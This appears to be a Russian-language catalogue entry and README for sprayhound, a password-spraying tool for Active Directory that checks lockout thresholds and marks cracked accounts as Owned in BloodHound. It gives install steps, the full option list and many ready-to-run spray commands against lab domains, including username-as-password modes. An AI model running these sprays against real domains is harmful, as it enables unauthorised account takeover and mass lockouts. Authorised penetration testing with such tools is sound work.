Password spray для Active Directory с интеграцией BloodHound: проверяет политику блокировки и счётчик badPwdCount перед атакой, автоматически помечает найденные учётки как Owned в BloodHound.
# pip pip install sprayhound # Из исходников git clone https://github.com/Hackndo/sprayhound cd sprayhound && pip install -e . # Зависимости pip install ldap3 termcolor # Пример: spray ActiveDirectory sprayhound -U users.txt -p 'Password123' -d domain.local -dc 192.168.1.1

Python-библиотека для безопасного подбора паролей в Active Directory, помечает скомпрометированных пользователей как захваченные в BloodHound и обнаруживает пути до администраторов домена
Эта библиотека использует проект ldap3 для всех LDAP-операций.
| Разделы | Описание |
|---|---|
| Требования | Требования для установки sprayhound |
| Предупреждение | Прочитайте это перед использованием инструмента |
| Установка | Инструкции по установке |
| Использование | Примеры использования и командной строки |
В настоящее время проверяется только политика домена по умолчанию. Если для политики паролей используется пользовательская GPO, она не будет обнаружена. Эта функция находится в разработке.
python3 -m pip install sprayhound
sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone git@github.com:Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
$ sprayhound -h
использование: sprayhound [-h] [-u USERNAME] [-U USERFILE]
[-p PASSWORD | --lower | --upper] [-t THRESHOLD]
[-dc DOMAIN_CONTROLLER] [-d DOMAIN] [-lP LDAP_PORT]
[-lu LDAP_USER] [-lp LDAP_PASS] [-lssl]
[-lpage LDAP_PAGE_SIZE] [-nh NEO4J_HOST] [-nP NEO4J_PORT]
[-nu NEO4J_USER] [-np NEO4J_PASS] [--unsafe] [--force]
[--nocolor] [-v]
sprayhound v0.0.1 - Подбор паролей
необязательные аргументы:
-h, --help показать это сообщение справки и выйти
--unsafe Разрешить попытки входа на аккаунтах, почти заблокированных
--force Не запрашивать подтверждение от пользователя
--nocolor Не использовать цвета для вывода
-v Уровень детализации (-v или -vv)
учетные данные:
-u USERNAME, --username USERNAME
Имя пользователя
-U USERFILE, --userfile USERFILE
Файл, содержащий список пользователей
-p PASSWORD, --password PASSWORD
Пароль
--lower Использовать имя пользователя как пароль в нижнем регистре
--upper Использовать имя пользователя как пароль в верхнем регистре
-t THRESHOLD, --threshold THRESHOLD
Допустимое количество оставшихся попыток пароля до блокировки
ldap:
-dc DOMAIN_CONTROLLER, --domain-controller DOMAIN_CONTROLLER
Контроллер домена
-d DOMAIN, --domain DOMAIN
Полное доменное имя (FQDN)
-lP LDAP_PORT, --ldap-port LDAP_PORT
Порт LDAP
-lu LDAP_USER, --ldap-user LDAP_USER
Пользователь LDAP
-lp LDAP_PASS, --ldap-pass LDAP_PASS
Пароль LDAP
-lssl, --ldap-ssl LDAP через TLS (ldaps)
-lpage LDAP_PAGE_SIZE, --ldap-page-size LDAP_PAGE_SIZE
Размер страницы LDAP (По умолчанию: 200)
neo4j:
-nh NEO4J_HOST, --neo4j-host NEO4J_HOST
Хост Neo4J (По умолчанию: 127.0.0.1)
-nP NEO4J_PORT, --neo4j-port NEO4J_PORT
Порт Neo4J (По умолчанию: 7687)
-nu NEO4J_USER, --neo4j-user NEO4J_USER
Пользователь Neo4J (По умолчанию: neo4j)
-np NEO4J_PASS, --neo4j-pass NEO4J_PASS
Пароль Neo4J (По умолчанию: neo4j)
При использовании без аутентификации sprayhound не сможет проверять политики паролей. Учетные записи могут быть заблокированы.
# Один пользователь, один пароль
sprayhound -u simba -p Pentest123.. -d hackn.lab -dc 10.10.10.1
# Список пользователей, один пароль
sprayhound -U ./users.txt -p Pentest123.. -d hackn.lab -dc 10.10.10.1
# Имя пользователя как пароль
sprayhound -U ./users.txt -d hackn.lab -dc 10.10.10.1
# Имя пользователя как пароль в нижнем регистре
sprayhound -U ./users.txt --lower -d hackn.lab -dc 10.10.10.1
# Имя пользователя как пароль в верхнем регистре
sprayhound -U ./users.txt --upper -d hackn.lab -dc 10.10.10.1
При предоставлении действительной доменной учетной записи sprayhound попытается найти политику домена по умолчанию и проверит атрибут badpwdcount каждого пользователя относительно порога блокировки. Если значение слишком близко к порогу, эти учетные записи будут пропущены.
# Один пользователь, один пароль
sprayhound -u simba -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd
# Все пользователи домена, один пароль
sprayhound -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd
# Все пользователи домена, один пароль, с использованием учетной записи из доверенного домена
sprayhound -p Pentest123.. -d hackn.lab -dc 10.10.10.1 -lu 'babdcatha.net\Babd' -lp P4ssw0rd
# Имя пользователя как пароль для всех пользователей домена
sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd
# Имя пользователя как пароль в нижнем регистре
sprayhound --lower -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd
# Имя пользователя как пароль в верхнем регистре
sprayhound --upper -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd
Разницу между badpwdcount и порогом блокировки можно настроить с помощью параметра --threshold. Если установлено значение 2, а политика паролей блокирует учетные записи после 5 неудачных попыток входа, то sprayhound не будет тестировать пользователей с badpwdcount 3 (и более).
sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd --threshold 1
Когда sprayhound находит учетные данные, он может пометить эти учетные записи как Захваченные (Owned) в BloodHound. Информацию BloodHound необходимо предоставить этому инструменту.
# -nh: Сервер Neo4J
# -nP: Порт Neo4J
# -nu: Пользователь Neo4J
# -np: Пароль Neo4J
sprayhound -d hackn.lab -dc 10.10.10.1 -lu pixis -lp P4ssw0rd -nh 127.0.0.1 -nP 7687 -nu neo4j -np bloodhound
v0.0.2
------
Первый релиз